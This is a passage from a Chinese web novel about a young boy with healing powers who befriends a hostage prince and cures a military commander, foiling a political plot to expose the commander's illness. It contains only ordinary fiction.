“虽说我们都还是人类,但已经走上了不一样的道路了,或者说,我们已经变成了截然不同的两种人了。” “这些年,我们和帝国之间一直战争不断,虽说在元帅的领导下,现在暂时和平了,圣律帝国更是将希尔殿下送来成为质子,但未来会怎么样……谁也说不准。” 卢西恩知道,又又性格善良又重情。 他很担心,如果又又对那位帝国质子投入太多感情,将来若联邦和帝国的关系再发生变动,受伤的只会是又又。 可又又听完,眉头却紧紧地皱起来,气呼呼地说道:“也就是说……希尔哥哥是被他的家人送过来的?他们不要他了?” “他们好坏!希尔哥哥好可怜……” 卢西恩:“……?” 就在又又他们离开后不久。 希尔身后的空气如同水波般,微微波动。 随后,一头通体银白的巨狼优雅地走出来,它的周身泛着淡淡的光晕,紫色的兽瞳深邃而冰冷,和希尔一模一样。 它无声地走到希尔身边,低头看向他手中的小鸡玩偶。 忽然低头,一口将玩偶叼在了嘴里,还有些不忿地磨了磨牙。 然而下一秒,那只玩偶就被主人抢了回去。 清冷的声音顺着精神体传过来。 又又送的。 不许咬。 第58章 结束了今天给裴煌的治疗后,卢西恩便打算送又又回家。 只是,小幼崽坐上了悬浮车之后,却是一副情绪不高的样子,甚至还有点心不在焉。 卢西恩忍不住问道:“又又,怎么啦?是有哪里不舒服吗?”他迟疑了一下,“还是,裴煌军团长的病……” 可他回想裴煌军团长的样子,看着不像是治疗出了什么问题啊? “没有啦。”又又摇摇头,随后又声音低落地说,“我只是觉得……希尔哥哥好可怜哦。” 一开始,又又只是觉得,希尔身上的味道好闻,病症也好吃,唔……长得也好看! 可是听卢西恩说了他的身世后,心里就隐隐有些难受。 他有哥哥姐姐的疼爱,还有好多好朋友。 可希尔哥哥被家人抛弃,身上有那么严重的病,又总是独自一个人。 小幼崽越想越觉得心疼,他问卢西恩:“卢西恩叔叔,我可以帮帮希尔哥哥吗?” 卢西恩一时无言。 他没想到都过去了这么久,又又居然还惦记着希尔。 看着小幼崽澄澈的双眸,他的心微微一软。 但他还是只能冷酷地打破他的幻想:“又又,你的心意是好的,但很多事情是没有办法改变的,希尔殿下是帝国送来的质子,他在这里,就是为了维系联邦和帝国的和平,是不可能回到帝国的……” 又又皱起眉头。 他才没想过让希尔哥哥回帝国呢! 他们都抛弃了希尔哥哥,希尔哥哥肯定也不会想要这样的家人陪伴他的…… 小幼崽的眼睛忽然亮起来:“我可以做希尔哥哥的家人,我可以陪着他呀!” 卢西恩:“???” “对呀!”小幼崽自有他的道理,“就像我的家人一开始只有大哥,然后又有了二姐和三哥,唔……爸爸也算吧,家人就是越来越多的,那加一个希尔哥哥,也可以呀!” 卢西恩:“……” 等等?! 这个逻辑它合理吗?! 卢西恩觉得自己的异能,又一次被小幼崽打败。 他揉了揉额角:“又又,我觉得家人这种事不能太草率,你可以先跟他当朋友……” 在他的一番说服这下,又又终于勉为其难同意了:“当朋友,也行叭。” 卢西恩松了口气。 随即又反应过来,不对呀,他不是要劝又又跟希尔保持距离的吗?怎么变成劝他们俩当朋友了?! 还没等他回过神,又又便已经仰着头,眨巴着眼睛看着他:“卢西恩叔叔,你最好了,你会支持我的,对不对?” 卢西恩:“……” 总感觉自己被套路了!- 晚餐时分,柔和的灯光笼罩着餐厅,空气中弥漫着食物的香气。 又又坐在自己专属的儿童椅上,小短腿欢快地晃荡着。 等到家人都齐了,才抬起头,用宣布重大消息般的语气说道:“我今天交了一个好朋友哦!他叫做希尔!” 餐桌上的空气一凝。 江昭晏夹菜的动作顿住,江见微舀汤的勺子停在半空。 连一贯神色淡然的江从谦,也停下了手中切割食物的动作,眉头微微一蹙,抬眼看向又又:“在军部认识的?” 毕竟又又最近出门,都是去的军部。 又又连连点头:“我们在星穹回廊认识的!” 兄妹三人对视一眼,心里都是微微一紧。 如果是平常,他们或许不会这样在意。 但最近这个时间段实在是有些微妙,他们担心是有人不怀好意接近又又。 想到这里,江昭晏状似平常地问道:“是跟你差不多大的小朋友吗?” 又又之前就有把江见微当成是朋友的经历。 如果对方是成人,危险性会直线增加。 “嗯嗯!”又又立刻抬手比了比身高,“他这么高……不对,好像是这么高……反正,跟洛恩差不多大吧!” 跟洛恩差不多大,那就还是个不到十岁的孩子。 三人稍微放下了心,也觉得自己有些草木皆兵。 毕竟联邦的工作人员和家属都很喜欢去星穹回廊那边玩,对方很有可能是军部某位军官,或者联邦工作人员的孩子。 而且还有卢西恩跟着,也不至于让不怀好意的人靠近又又。 或许只是恰好认识的小朋友吧。 话虽如此,江从谦却还是谨慎一些,给了江昭晏一个眼神,让她去查一下对方的身份。 如果确实没问题,又又能认识一个同龄的朋友,也是好事。 又又却完全没有注意到哥哥姐姐之间的交流,他已经完全沉浸在了对明天的期待中。 他立刻跳下椅子,找到莫管家,声音又甜又糯:“莫叔叔,明天能帮我多准备一点小蛋糕吗?我想带给希尔哥哥吃!” 希尔哥哥那么瘦,肯定没有吃过莫叔叔做的美味小蛋糕! 莫管家笑容温和:“好,莫叔叔再给你做一点小饼干,你可以送给你的小朋友当礼物。” “好呀!谢谢莫叔叔!”又又跟莫管家说完,又扑到江见微身上,“三哥三哥,你可以帮我把蛋壳小鸡的动画片放在我的光脑里吗?我想要跟希尔哥哥一起看!” 江见微:“没问题。” 小幼崽在房子里哒哒哒地跑来跑去,一会计划要带这个,一会又要分享那个,嘴里还不断念叨着“希尔哥哥”,像只快乐的小蜜蜂。 江昭晏忍不住有点吃醋:“还是第一次看到又又这么兴奋呢!” 江从谦看着又又的目光温柔又宠溺,也说道:“又又同龄的朋友还是太少了,如果这个希尔没有问题,那就再好不过,如果……” 剩下的话他没有再说下去,但神情却瞬间变得冷硬。 而此时,江昭晏已经从卢西恩的信息中,知道了对方的身份。 她神情顿时严肃起来。 江从谦和江见微见状,也都跟着紧张起来:“怎么?他的身份有问题?” 两人的脸色都瞬间冷了下来。 江昭晏摆摆手:“他的全名叫希尔·阿多尼斯。” 江见微还愣了一下,江从谦却已经反应过来:“圣律帝国的质子?!” 江昭晏点点头,简直有些哭笑不得:“好消息是,他应该不是那个幕后黑手的人,但坏消息是……他的身份有些过于敏感了。” 他们也有着和卢西恩同样的担忧,只是看着又又快乐的样子,三人又犹豫了。 江见微低声道:“又又真的很喜欢这个朋友……” 江从谦也在心底暗暗叹息,不禁有一丝心疼。 虽然又又平常都是很乖巧很懂事的样子,但他知道,小幼崽的世界很小,也很孤独。 他真的不忍心剥夺他的每一点快乐。 江昭晏一拍桌子:“行了,帝国质子怎么了!又又喜欢就好,只要他也把又又当成朋友,就不用管那么多!” “我明天偷偷去看一眼。”江昭晏决定下来,“如果没什么事,那我们都不许干涉又又!”- 第二天,随着又又被卢西恩接走,江昭晏也跟着出了门。 军部的秘密区域内。 又又今天的治疗完成得比以往更快些。 等一结束,礼貌地跟裴煌告别后,就拉着卢西恩的袖子飞快地往外走:“卢西恩叔叔,快点快点!希尔哥哥还在等我呢!” 卢西恩被他拽着,目光落在他背后那个鼓鼓囊囊的大书包上,忍不住开口:“又又,书包重不重?我来帮你拿吧?” “不用不用!”又又立刻护住书包,神情严肃地摇头,“不重的!这都是我给希尔哥哥准备的,我要自己拿过去!” 卢西恩:“……” 只给希尔哥哥准备吗? 这显得叔叔很像个小丑。 又又丝毫没有注意到卢西恩的怨念,他熟门熟路地跑到了星穹回廊。 上午清透的阳光落下来,将一整个星穹回廊都照射得犹如仙境。 而在仙境的尽头,就是希尔的身影。 他今天换了一件衣服,如瀑的银发也被一顶发冠束了起来,那张脸衬得越发漂亮精致。 不等又又开口喊他。 那双紫眸便已经抬起。 往日里空洞的眸子,今天却仿佛散去了雾气,银睫微颤,看向了又又的方向。 “希尔哥哥!” 又又加快脚步,像颗小炮|弹一般冲到希尔跟前,因为跑得太急,小脸都泛起了红晕。 但他的眼睛却是亮晶晶的,将身上的大书包放下来,然后一件件往外掏。 “希尔哥哥,这是莫叔叔做的小蛋糕,可好吃啦!” “希尔哥哥,我们一起看动画片吧!哼!今天一定要让你知道,小绿有多厉害!” “希尔哥哥……” 小幼崽叽叽喳喳的,一边介绍,一边将带来的零食和玩具堆在长椅上,很快就堆起了一座色彩缤纷的小山。 希尔的目光随着他的动作缓缓移动。 虽然,他的反应还是慢半拍,但每次小幼崽的话,他都会有回应。 而又又把所有东西都拿出来后,长舒一口气,期待地看向希尔:“希尔哥哥,你喜欢吗?” 希尔看着小幼崽粉嘟嘟的脸蛋,缓缓地点了点头:“……喜欢。” 又又顿时笑起来,连忙爬上长椅,和希尔肩并肩地靠在一起:“希尔哥哥,我们来看动画片吧,一边吃小蛋糕,一边看动画片,可幸福啦!” 小幼崽看动画的时候,从来不安静。 然而他叽叽咕咕地说个不停,希尔却一点都不觉得烦。 偶尔还会在小幼崽突如其来的问题下,回应几个字。 阳光透过穹顶洒落在他们身上,勾勒出两人之间莫名和谐的氛围。 江昭晏过来的时候,正好看到这一幕。 原本她还担心,是这位帝国质子想要改变自身处境,所以故意接近又又。 可现在看来,哪里是希尔故意接近又又。 分明是她家那个热情过头的小幼崽,不管不顾地主动凑上去,紧紧地贴着对方。 哪怕希尔只有一个字回应,小幼崽也完全不在意,照样自顾自说得开心。 江昭晏沉默了。 可就在这时,她忽然察觉到了一股窥探的视线。 她神情冷冽,倏然转头看去,却只看到一个面容普通的女人,正牵着一名小女孩在玩耍,而周围也都是说笑玩闹的人群,看着没有什么异常。 江昭晏皱起眉,审视的目光在那女人身上停留了两秒,对方却浑然未觉,只是都弄着自己的孩子。 也许……真是自己多心了。 江昭晏收回目光,又重新看向又又和希尔。 小幼崽正拿起小蛋糕,挖了大大的一勺,不由分说地递到了希尔嘴边,希尔则迟疑地张开了嘴。 江昭晏轻笑一声,却到底没有再上前,如同来时那样,悄无声息地又离开了。 而她一走,原本在逗弄孩子的女人也缓缓地吐出一口气,脸上温和的笑容退去,脸色顺便变得苍白,脊背更是早已被冷汗浸透了。 好敏锐的女人! 不愧是江家的女儿,差点就被发现了! 这几天,她一直奉命在暗中观察那个名叫又又的孩子。 然而,观察结果让她无语又疑惑。 小幼崽的生活轨迹简单地令人发指。 每天被元帅的首席秘书官卢西恩接进军部,先被送去元帅的办公室,那种机密的地方,她自然是进不去的。 但她想想也能知道,八成是让孩子去见见爸爸,培养一下感情罢了。 据她所知,江家这个幼子小时候被星盗掳走,好不容易才被找回来。 元帅对他极为宠爱,不仅亲自买礼物,而且上次去见第四军团和第六军团的老友,也把他抱过去了。 小幼崽每次都不会在元帅那边待很长时间,一出来,就雷打不动地往星穹回廊跑,粘着圣律帝国的那位质子。 和对方在一起时,也都是分享零食、玩具,以及看幼稚的动画片,简直就是个普通的不能再普通的小孩子。 唯一有些特殊的,就是对他的保护,严密得令人发指。 但想想他曾经的经历,也能理解。 除去这些,他本人就完全就是一个被家人过分宠爱的小少爷,看不出有什么异常。 她很快就将自己的观察和结论发送出去。 这份信息很快便传到了殷质手上。 “果然……” 殷质语气平淡,对这个结果并不觉得意外。 原本,他对江家幼子的关注,就只是顺带为之。 他真正在意的,始终是那个心思深沉,手段莫测的江从谦。 这个孩子,不过是因为被江从谦带在身边,才被纳入观察范围。 如今看来,和他最初的猜测相差无几,不过是个被保护得很好的普通幼童罢了。 而且,最近江从谦那边的一些动向,越发让他肯定了一件事,江从谦手中的确握有什么筹码。 不止如此,江从谦近来的动向更是不断触及他敏感的神经,让他不得不提高警惕。 想到这里,他随后就将这份资料丢到了桌上。 转而对身旁的黑西装吩咐道:“最近这段时间,都给我盯紧江从谦,我要知道他所有的动向,接触了什么人,做了什么事,一丝一毫都不要放过。” “是,大人。”黑西装恭敬应下,随即又上前半步,说道,“另外,大人,我们最近意外得知了一个消息,是有关第六军团军团长的。” “裴煌?”殷质眯起眼睛,“什么事,说。” 黑西装说道:“据说,裴煌似乎生了病,而且很有可能是静汐症……” “静汐症!”殷质豁然起身,那只独眼死死地盯着下属,“这消息属实吗?” 黑西装连忙说道:“消息是从第六军团的一个医疗官口中传出来的,他是和朋友聚会喝醉了,嚷嚷出来,说是偷看了裴煌的身体数据,猜测出来的,不过根据我们后续的调查,有七八成可能是真的!” 殷质拧眉细思。 裴煌执掌的第六军团,是江砺最坚定的拥趸。 而他本人,更是江砺手中最锋利,也最忠诚的一把刀,如果他真的患了静汐症…… 殷质的嘴角缓缓勾起一抹冰冷的笑意:“不管这个消息是真是假,对我们来说,都有利!” 黑西装眼中露出一丝了然,试探道:“您的意思是,我们派人把这个消息捅出来?” “蠢货。”殷质冷冷地瞥了他一眼,“我们在第六军团又没有任何安排,贸然捅出来,对我们有什么好处?给别人做嫁衣吗?” 黑西装立刻低下头:“您教训的是,那这个消息……” 殷质语带讥讽:“当然是透给第五军团的人,做得自然点,让他们以为是自己发现的。” 第五军团和第六军团向来不和。 而且,自从江砺整顿军部,厄托等人被拉下去之后,第五军团一直有些蠢蠢欲动,也正好给他们一些教训。 如果这消息属实,必定能重创江砺的左膀右臂,狠狠地挫了他的锐气! 顺便还能试探一下,江从谦真正的能力。 “加派人手,盯紧江从谦的动向,尤其注意他是不是和裴煌有会面。” 殷质的指尖轻抚过脸上的眼罩,轻笑道,“这简直就是天赐良机啊!”- 又又“啊呜”一口吞掉裴煌身上最后一点病气。 然后满足地拍了拍肚皮,声音脆生生的,还带着点小骄傲:“裴叔叔,你已经好啦!” 几乎是他话音落下的瞬间,裴煌便猛地深吸了口气。 曾经缓慢迟滞的心跳,如今已经完全恢复了正常,在他的胸腔中稳健而有力地跳动着。 呼吸更是变得前所未有的轻松,曾经的桎梏已经一扫而空。 他下意识按住心口,脸上浮现出一丝茫然。 困扰了他那么久,几乎将他拖入绝望深渊的病症,竟然就这样轻而易举地痊愈了?! 前前后后,甚至还不到一周的时间。 裴煌缓缓抬起头,看向叉着腰,一脸得意的小幼崽。 汹涌的感激席卷而来,喉头甚至有些发哽。 他想要说些什么,可是原本就不善言辞,这种时候更是言语苍白,只能一个劲地重复:“谢谢,真的……谢谢,又又……” “不用谢啦!”小幼崽大方地摆了摆手,随后又看向一旁守着的江砺,“爸爸,那我就先去找希尔哥哥玩咯!” 江砺的目光从裴煌身上收回。 看着又又那迫不及待的小模样,他和裴煌对视一眼,不约而同地露出了一丝夹杂着感慨的温和笑意。 “去吧,注意安全,别玩太晚。” 江砺揉了揉又又的头发,点头应允。 “知道啦!” 又又欢呼一声,牵起卢西恩的手,蹦蹦跳跳地离开了房间。 等到房门合上,房间里便只剩下裴煌和江砺两人。 裴煌一时无言。 尽管这些天,他每时每刻都在感受自己的身体被修复,但等到痊愈这一天真的到来时,那种冲击力依旧难以言喻。 江砺完全能理解他此刻的心情,他走上前,用力地拍了拍裴煌的肩膀,沉声道:“怎么样?要不要再安排一次检查?” 他这并不是不信任又又,只是出于一种谨慎,想要用最科学的数据,来确认裴煌的痊愈。 裴煌也明白他的意思。 虽然他能感觉到自己身体里没有半点沉疴,但还是答应了下来。 江砺便道:“行,我让人去安排,你先好好休息。” 江砺又叮嘱了几句,便转身离开,去处理堆积如山的军务。 他离开后,裴煌躺在椅子上,缓缓平复激动的心情。 然而这份宁静并没有持续太久。 就在江砺走后不久,休息室的房门竟然“砰”地一声被人推开。 门口站着数人。 为首的,正是第五军团的一名中将,以及监察官徐行知。 徐行知自从上次在第七军团事件中,因为办事不力被处分,之后更是因为厄托下台,一直处于被边缘化的状态。 但此刻,他的眼中却闪烁着一种孤注一掷的光芒。 “裴煌军团长,我们接到可靠线报,指控您涉嫌违反了《联邦军事法》第139条,故意隐瞒罹患重大疾病的事实,并继续担任军团要职,严重危害第六军团与联邦军事利益,请您立即配合调查,跟我们走一趟。” 裴煌眸色一沉,周身气势瞬间变冷:“指控?有证据吗?” 徐行知嘴角勾起一抹笑意,缓缓地走上前:“证据?自然是有的。” 他微微靠近裴煌,低声道,“裴军团长,您……得了静汐症吧?” 听到静汐症三个字,裴煌猛然一凛。 第59章 在说出话的一瞬间,徐行知便放出了异能。 只要裴煌回答,他就能通过异能感知到他的谎言。 而裴煌到底是经历过大风大浪的军团长,很快便猜到了徐行知的意图。 他面色没有丝毫变化,甚至连眼神都未曾动摇。 他的目光掠过徐行知,落在那名中将身上:“怎么?莫克军团长连这样上不得台面的手段都使得出来,却连亲自露面的胆量都没有吗?” 中将眼神阴鸷,冷哼一声:“裴军团长说笑了,这跟莫克军团长没有任何关系,只是我看不惯有人贪恋权位,知法犯法罢了。” “犯法?”裴煌淡淡道,“就凭这种莫须有的指控?” 中将正要反驳,却被徐行知拦住。 刚刚那一瞬间,他的异能已经探查出了裴煌说谎的痕迹。 这让他越发确定裴煌患病的真实性,他压抑着内心的激动,加快语速:“是不是莫须有,等到查明之后,自然能真相大白。——裴军团长,请吧。” 而就在这时,得知消息的江砺也匆匆赶来。 他面沉如水,目光冷冽地看着徐行知:“徐监察官,未经申报,便贸然指控一名军功赫赫的军团长,你们监察部的权力竟凌驾于联邦法律之上吗?” 然而,徐行知却并没有惊慌。 早在决定过来的时候,他便将一切都赌了上去。 如今,江砺如此迅速地赶来,并且一来就扣这么大的帽子,反倒是印证了裴煌生病这件事。 他挺直腰板,神情不卑不亢:“元帅,监察部独立行使监察权,接到重大嫌疑举报,有权进行初步问询,并且要求嫌疑人配合检查。” 说着,他拿出一张调查令,摆在众人面前。 自从在第七军团被加尔文怼回来之后,他早就吸取了教训。 “我如今正是依法行事。”他一脸公事公办的样子,“而且,裴军团长如果清白,更应该接受调查,以正视听,平息谣言,还请元帅与裴军团长以大局为重。” 这话一出,周围那些围观的军部工作人员,也不禁有些摇摆。 “是啊,这说得没错。” “裴军团长如果没病,去检查不是更好吗?” “对啊,元帅向来公正,如果坚信裴军团长的清白,不正应该让他去接受调查吗?” …… 江砺神情凛然。 徐行知却是勾起嘴角,眼底闪过一丝志在必得。 一切果然如他所料。 他正准备让人上前将裴煌带走。 裴煌却忽然开口,声音平稳如常,听不出半分波澜:“好,我接受调查。” “不过。”裴煌话锋一转,“既然徐监察官言之凿凿,说我患了静汐症,那最好的验证方式,就是让我接受身体检查,如果检查出我有病,我自然无话可说,可如果没有检查出来,徐监察官又该怎么说?” 徐行知皱起眉头,内心有一瞬的错愕。 他设想过裴煌的一切反应。 或许会狡辩,会反抗,但他却从未料到,裴煌会主动提出要进行身体检查。 这让他有一瞬间的不安,但异能探查的结果,以及江砺的紧张,却又让他将不安压下来。 裴煌患病是事实。 只要他全程盯着检查流程,不管他们耍什么花招都没用。 “好。”徐行知定下心,朗声道“如果裴军团长没有患病,我甘愿接受法律的惩处。” “希望徐监察官记得你说的话。” 裴煌意味深长地说道,随即转向江砺,“元帅,还请您安排军部总医院,并将检查过程全程直播,杜绝一些弄虚作假的可能,也好还我一个清白。” 这番话让徐行知等人当场愣住。 在他们的预想中,裴煌患病,肯定会百般阻挠调查,元帅说不定会找理由压下这场风波。 他们正好借题发挥,把元帅拖进舆论漩涡中。 江砺在军中名声向来极好,如果这条丑闻被爆发出来,肯定会大受影响。 可谁能想到,裴煌竟然不按常理出牌。 主动选择公开检查,彻底断了他们暗箱操作的可能。 眼看着裴煌在元帅近卫的保护下,坦然走出房间。 中将的眼神闪过一丝慌乱:“难道……裴煌根本没病?” “你什么意思?!”徐行知的目光瞬间变得凶狠,“裴煌有病这件事,不是你们说的吗?” 中将咽了口口水。 他是亲眼看过那份资料的。 所有的证据都显示,裴煌的确患有静汐症,这种无解的绝症,根本不可能治愈。 “难道,他是自知无法抵赖,索性将所有责任揽到自己身上,借此保全元帅?”中将喃喃道。 “很有可能。”徐行知目光一冷,虽然有些可惜不能借此把江砺拉下来,但到底还是暂时放下了心。 不过,能因此断掉江砺一条臂膀,也足够了。 “走吧。”徐行知抬脚朝外走去,“这点意外并不会影响计划,只要检查开始,就是裴煌的死期。” 裴煌要公开检查的消息很快就传遍了整个军部,瞬间激起千层浪。 各军团长得知了消息,反应却各不相同。 魏凭心中那点不安,彻底化为现实。 他心思细腻,早在之前与帝国对战时,就已经察觉到了裴煌的一些不对劲的地方。 原本想趁着这次军部述职,跟裴煌和元帅旁敲侧击几句。 然而自从上次会面后,裴煌就仿佛不见了踪影。 魏凭倒是和元帅提过,但他也没有任何证据,只是感觉。 可谁能想到,竟然会被监察部给发现! 而且,这还是静汐症这种绝症! 魏凭既担心好友的身体,又担心有人会借这件事来攻讦元帅。 正忧心忡忡地往军部总医院走,路上却碰到了第五军团的莫克军团长。 相比魏凭的愁云惨淡,他脸上却是掩不住的志得意满,甚至还主动和魏凭打招呼。 “魏军团长,你向来和裴军团长关系不错,难道不知道这么重要的事情吗?” 魏凭冷声道:“这件事还没有定论,莫克军团长还是不要信口开河比较好。” 莫克轻笑,并没有把他的态度放在心上。 失败者的吠叫而已。 等两人抵达军部总医院时,这里已经人满为患了。 而正如裴煌所说,整个检查过程都在进行直播。 此刻,医疗官们正在忙碌地调试仪器,而裴煌就坐在一旁闭目养神。 莫克看了眼同样面无表情的江砺元帅,皱了皱眉。 但随即,他的目光就与派去的中将对上了。 见对方笃定地点了点头,莫克放下心来。 虽说徐行知指控裴煌是静汐症,但为了保险起见,也为了公正,医疗官们将所有的检查都做了一遍。 第一项,也是静汐症最重要的检查指标,很快就出来了。 然而,当这项检查结果在众目睽睽之下被展示出来的时候,却是满场皆惊。 检查结果显示,裴煌身体健康,并没有患有静汐症。 徐行知和莫克都豁然起身,异口同声地低吼:“不可能!!” 但很快,一项又一项的检查结果出现在他们面前。 健康。 健康。 健康。 …… 别说是静汐症了,他身上甚至连一点小毛病都没有,健康得令人咋舌。 徐行知不可置信地检查着每一张检查单。 却根本找不出一点问题。 毕竟,负责检查的医疗官里本就有他们的人。 他们更是全程都守在旁边,确保江砺他们没有作假的可能。 所以……裴煌真的没病?! 现场议论纷纷,却都是在给裴煌说话。 毕竟检查结果出来,是比任何辩解都有分量的证据。 裴煌缓缓地走出检查室,目光扫过徐行知和莫克,淡淡道:“徐监察官,莫克军团长,是对这个检查结果不满意吗?莫非,你们对军区总医院的诊断也不信任?” 在他身后,几名医疗官都皱起眉头。 他们都是军部最资深的医疗官,怀疑检查结果,不就是在怀疑他们的医术和人品吗? 徐行知胸口剧烈起伏,死死地盯着裴煌,那眼神像是要将他生吞活剥。 就在此时,江砺也走了过来,他的身边跟着的,正是监察部部长。 对方脸色极为难看。 监察部因为独立监察权的缘故,自成体系,调查和问询都绕开常规的军部流程,连元帅都轻易插不进手。 如今却因为这蠢货,让元帅抓了把柄,直接派了人介入调查,将手伸进了他们的地盘。 他几乎是咬着牙道:“徐监察官,你滥用职权,污蔑同僚……带走调查!” 话音落下,两名监察官上前扣住徐行知的肩膀。 徐行知却不甘心,嘶吼着道:“不可能!裴煌在说谎!他就是有病!” 但已经没人信他了。 徐行知叫骂着被拖走后,江砺才看向莫克:“莫克军团长……” 莫克脸色僵硬,没想到事情竟然会如此发展,却是立刻撇清关系,说是那名中将自作主张,与他无关。 中将面色灰败,也被监察部的人押着跟了上去。 莫克虽然强撑着没有动,但现场哪个不是人精,纷纷不着痕迹地往旁边挪了挪脚步,生怕跟他沾上关系。 “莫克军团长,以后可得把眼睛擦亮一点,别再这么黑白不分了。”魏凭笑眯眯地在他伤口上撒盐。 莫克脸色瞬间铁青,却根本无法发作。 最后只能忍着怒火,带人离开。 这消息也很快就传到了殷质耳中。 殷质猛地从椅中站起,指节因用力而泛白:“不可能!!” 下面的黑西装咽了口口水:“大人,千真万确……那裴煌的确没有患病,军区总医院好几名医疗官共同做的检查,而且还是全程直播,不可能作假……” 殷质一脚将他踹倒,鞋底踩着对方的胸口,死死地盯着他道:“当初,也是你们告诉我,裴煌患了静汐症,现在怎么又说他没病了?!” 黑西装被踩得窒息,脸涨得通红,心中也是百思不得其解。 根据他们的反复查探和确认,裴煌的确是患病了的,谁知竟会是这样的结果! 他迟疑道:“或……或许,是江从谦治愈了他……” “蠢货!”殷质一脚把他踹开,“那么多人盯着江从谦,他什么时候见过裴煌?!” 黑西装顿时不敢再说话。 殷质气得在房间走来走去。 他怎么能接受,盘算已久的杀招,竟会落得这样惨败的结局! 除非…… 他的脚步蓦然顿住,瞳孔微缩。 除非裴煌一开始就没有生病。 这从头至尾就是一场精心编制的陷阱! 是江砺父子拿裴煌做饵,故意引他上钩。 否则没法解释,这时机为什么会这么巧! 也没法解释,这截然不同的结果! 江从谦肯定是察觉到了有人在查他,所以将计就计,反将他一军。 殷质越想越觉得可能。 他的呼吸越发粗重,太阳穴更是突突直跳。 他愤怒地将房间里所有的东西都摔了个粉碎,咬牙切齿道。 “江从谦!江砺!” “我们势不两立!”- 与此同时,又又却被姐姐一把抱起来,欢呼道:“多亏我们又又了!不然就要出大事了!又又宝贝太棒了!” 小幼崽虽然一脸懵,但发现被姐姐夸奖,便立刻挺起胸膛,奶声奶气道:“对,又又就是最棒的!” 江见微也揉揉小幼崽的头发,眉眼舒展:“又又,你是没看到,那几个人就跟小丑似的!” 虽然他们没法去到现场。 但江见微却能通过异能进入军部的直播网络,看到了这大快人心的一幕。 “哎!当时真是太爽了!你们看不到太可惜了……” 可在这一片热闹的氛围中,江从谦却神情严肃,眉头紧锁。 江昭晏瞟到他的神情,疑惑道:“你怎么这副表情?难道还有什么问题吗?” 江从谦沉声道:“裴煌军团长得病的事情,一直被瞒得严严实实,至今还不知道从哪里漏了消息,他们突然发难,又笃定是静汐症,就说明他们至少有七八分把握。” 他看向又又,眼底浮现出几分忧虑,“如果不确定还好,但万一他们肯定裴军团长患病,如今突然病愈,也不知道他们会不会因此查到又又身上……” 江昭晏和江见微的脸色顿时僵住,但江从谦担忧并不是没有道理的。 “那怎么办?”江昭晏忍不住问。 “得先查出消息究竟是怎么泄露的。”江从谦思索片刻,“又又,这几天你就先不要出门了,在家里好好待着,安全比什么都重要。” 又又顿时瞪大了眼睛。 他没想到,自己做了好事,竟然又被关在了家里! 他顿时撅起嘴,连忙抗议道:“可我已经跟希尔哥哥约好了!” 江昭晏心里一软,却也知道大哥这是为了小幼崽的安全。 于是蹲下来,安慰他道:“又又乖,姐姐让卢西恩去跟希尔说一下,好不好?” “可是……”又又却有些着急,“我答应了希尔哥哥,每天去跟他玩的,如果我没来,希尔哥哥会等我的!” “又又。”江从谦摸了摸弟弟的脸,柔声道,“这不是不让你见朋友,是怕有坏人伤害你,等到查清楚了,再一起玩好不好?” 这次,甚至连最向往自由的江见微都没吭声。 小幼崽左右为难,却最终没能拗过哥哥姐姐,只能扁着嘴点了点头:“好……好吧。” 第二天,希尔收拾完自己,便习惯性地从外事区走到星穹回廊。 细碎的阳光透过穹顶,在回廊中勾勒出星河般的美景。 希尔却毫不在意,只是坐在自己熟悉的位置上,静静地等待着又又到来。 然而,等到日上中天,离他们平常见面的时间都过了,他也没有看到那道熟悉的小身影。 希尔的银睫不由得颤了颤。 紫眸浮起一丝不曾有过的情绪,随即专注地看向星穹回廊的另一头。 这几天,他和又又一直在这边玩耍,吸引了很多目光。 几个半大的孩子聚在不远处的廊柱后,看着他的目光中满是恶意。 这些年,中央联邦和圣律帝国战争不断,民众普遍对帝国人很排斥。 虽说如今联邦与帝国谈和,明面上不能歧视,但内心的反感却不是一时半会能改变的。 这几个孩子自从知道,这个银发紫眸的家伙是圣律帝国的质子后,便一直想要找机会教训他一顿。 只是,之前有个小幼崽总围着他转,听说还是元帅幼子,他的身边还跟着卢西恩秘书官,他们不敢惹,所以才勉强忍住了。 但今天,那个小幼崽没来。 几人缓缓地围了上去。 有些大人看见了,本想阻止,但发现对方是帝国质子后,便干脆移开了目光,装没看见。 为首的男孩抬起下巴,带着几分挑衅地说道:“喂,帝国狗!你不会是在等那个小孩吧?” “哈哈哈哈,那可是元帅的儿子!怎么会跟你这种被抛弃的野种玩!” “就是,识相的赶紧滚回你们外事区的狗窝吧!” 然而,希尔却像是没有听见一般,依旧维持着那个姿势,盯着同一个方向。 “啧!装什么装呢!”男孩被他的无视惹怒,攥紧拳头,猛地朝希尔的脸上挥去。 可没等他的拳头碰到希尔的脸,空气却骤然扭曲。 希尔的身后,一头通体银白的巨狼瞬间凝实,紫色的兽瞳冷冷地扫过那几个孩子。 它体型巨大,比这几个孩子都要高得多,浑身伤痕累累,却并不显得孱弱,反而更凸显凌厉。 “吼——” 一声低沉的咆哮从银狼的喉间发出,四周的温度仿佛都骤然下降般。 几个孩子当场僵住,脸上的嚣张也瞬间变成了惊恐。 他们虽然有异能,可面对这头比人还庞大的野兽,却连反抗的念头都生不出来,最后连滚带爬地逃出了回廊。 银狼看着他们逃窜的背影,脸上露出人性化的不屑。 但随即,它又和主人一般,看向又又往常过来的方向,喉咙里发出几声委屈的呼噜声,这才缓缓消失在了空气之中。 星穹回廊的众人都神情各异,但即便银狼消失,也没有人敢再来招惹希尔了。 希尔从始至终都没有半点反应,连视线都没有半分颤动。 不知过了多久,他终于看到卢西恩的身影。 知道小幼崽一直跟这个人一起,希尔的紫眸微微亮起。 但很快,他就发现,来的人只有卢西恩一人,并没有小幼崽。 希尔眼中的那点微光瞬间消失,又回到了空洞的模样。 卢西恩今天十分忙碌,这时候才有空赶来星穹回廊,替又又给希尔带话。 他本以为已经过了约定时间这么久,希尔可能早就回去了,没想到他居然一直都在等着。 面对那双宝石般的紫眸,卢西恩顿了顿。 这里人多眼杂,他自然不能说出实情,便道:“希尔殿下,又又他今天生病了,这几天都不会过来了。” 生病? 希尔怔愣了片刻,紫眸浮起一丝茫然。 似乎在理解这两个字的意思。 卢西恩等了一会,也没见他有什么反应,便道:“话已经带到,我就先走了。” 但他还未转身,便听见身后传来空灵清冷的声音:“等等。” 他回过头:“希尔殿下,是有什么话让我带给又又的吗?” 他说完,便耐心地等着。 却见这位精致漂亮的质子殿下缓缓开口道:“带我……见他。” 卢西恩:“?!!”- 又又恹恹地趴在窗边,连平时最爱看的动画也不看了。 三哥说要陪他去星网上玩,也被他拒绝了。 他只是出神地看着大门的方向。 